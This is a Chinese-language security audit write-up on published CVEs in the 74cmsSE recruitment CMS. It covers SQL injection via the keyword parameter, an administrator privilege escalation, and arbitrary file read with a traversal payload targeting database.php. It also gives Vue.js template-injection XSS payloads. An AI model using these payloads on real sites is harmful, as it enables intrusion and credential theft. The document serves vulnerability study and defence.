$tag 参数,正常查询语句如下
|
||||
|
||||
```sql
|
||||
SELECT `a`.`id`,`company_id`,`stick`,`refreshtime` FROM `qs_job_search_rtime` `a` WHERE ( FIND_IN_SET('sectag',`tag`) ) ORDER BY `stick` DESC,`refreshtime` DESC LIMIT 0,10
|
||||
```
|
||||
|
||||
经过测试,发现输入的内容会被逗号 `,` 隔开
|
||||

|
||||
|
||||
查看该函数的定义,若要进行闭合,需要逗号构造,但是上述测试发现使用不了逗号。(暂时没有其他思路)
|
||||

|
||||
|
||||
$sort 参数只有在特定字段时会出现在语句中,暂未发现利用思路。
|
||||

|
||||
|
||||
map() 函数中的注入漏洞也是一样,出现在 $keyword 中
|
||||

|
||||
|
||||
### v3.5.1 SQL 注入|Resume.php
|
||||
|
||||
剩下几个漏洞触发点都是相同的 $keyword ,故不再做分析。
|
||||

|
||||
|
||||
### v3.12.0 越权漏洞
|
||||
|
||||
漏洞信息:
|
||||
[CVE - CVE-2022-41471 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41471)
|
||||
简而言之,就是同为系统管理员可以修改其他管理员的密码。
|
||||
|
||||
漏洞复现:
|
||||
创建角色权限,可以访问系统模块即可。随后添加一名管理员 ceshi1 角色设置为刚创建的 ceshi。
|
||||

|
||||
|
||||
以 ceshi1 用户登录后台,可以直接操作修改 admin 的密码
|
||||

|
||||
|
||||
代码分析:
|
||||
查看触发的函数 edit() ,路径位于 /application/apiadmin/controller/Admin.php
|
||||
跟踪发现,其中并没有完善的鉴权机制,只要能访问到这个页面就可以进行修改。
|
||||

|
||||
|
||||
### v3.12.0 XSS |Notice.php
|
||||
|
||||
漏洞信息:
|
||||
[CVE - CVE-2022-41472 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41472)
|
||||
|
||||
Payload:
|
||||
利用 Vue.JS 特性实现 DOM XSS
|
||||
|
||||
```rb
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{alert(1)}}
|
||||
```
|
||||
|
||||

|
||||
|
||||
代码分析:
|
||||
后端对输入点只做了 trim 过滤操作,前端也没有有效的过滤
|
||||

|
||||
|
||||
前端也没有发现相关的过滤,搜索到了 dompurify 关键字,但是没有使用。
|
||||

|
||||
|
||||
#### Vue.js 模版注入(DOM XSS)
|
||||
|
||||
原理:
|
||||
Vue.js 是一个客户端模板框架,会将用户的输入嵌入到这些模板中,通过构造恶意输入,可导致被 Vue.js 错误解析执行。
|
||||
[参考](https://www.freebuf.com/articles/web/257944.html)
|
||||
|
||||
后面几个XSS基本上都是通过 vue.js 模版注入触发 DOM XSS,只是注入点不同,不再展开分析了。
|
||||
|
||||
### v3.13.0 文件上传
|
||||
|
||||
这里没成功,跟进发现有对后缀名进行限制,后续再研究看看。
|
||||

|
||||
|
||||
五、总结
|
||||
----
|
||||
|
||||
通篇审下来,感觉最重要的就是代码逻辑和过滤操作,上述漏洞基本上都是错误逻辑和未健全的过滤机制导致的,例如:SQL查询使用了PDO但是没进行绑定而直接拼接了,文件操作类函数未对输入点验证 ../ 这种字符等等。因此,日后的审计无论从可控点或者高危函数出发,把握好每一条逻辑再结合绕过就对了。</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>一、前言</h2>
|
||||
<p blockindex=1>本文对 74cmsSE 进行代码审计,并对近期的相关漏洞进行调试分析,学习一波。</p>
|
||||
<h2 blockindex=2>二、相关漏洞搜集</h2>
|
||||
<p blockindex=3><a href="https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=74cmsse">https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=74cmsse</a><br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=4>CNVD<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h2 blockindex=5>三、环境介绍</h2>
|
||||
<p blockindex=6>本地审计使用 MAMP 集成搭建</p>
|
||||
<pre blockindex=7><code class="hljs language-txt">Apache 2.4.54
|
||||
Mysql 5.7.39
|
||||
PHP 7.3.33
|
||||
</code></pre>
|
||||
<h2 blockindex=8>四、漏洞分析</h2>
|
||||
<h3 blockindex=9>v3.4.1 任意文件读取</h3>
|
||||
<p blockindex=10>漏洞信息:<br>
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26271">CVE - CVE-2022-26271 (mitre.org)</a><br>
|
||||
<a href=https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1>74cmsSEv3.4.1 Arbitrary File Read Vulnerability · Issue #1 · N1ce759/74cmsSE-Arbitrary-File-Reading (github.com)</a><br>
|
||||
漏洞位于 Download.php 文件中的 fread() 和 fopen() 函数中,对输入的内容 $url 没有做到完全的检测过滤,进而导致读取任意文件。</p>
|
||||
<p blockindex=11>Payload:</p>
|
||||
<pre blockindex=12><code class="hljs language-rb">/index.php/index/download/index?name=index.php&amp;url=../../application/database.php
|
||||
</code></pre>
|
||||
<p blockindex=13><img src=data:image/png;base64,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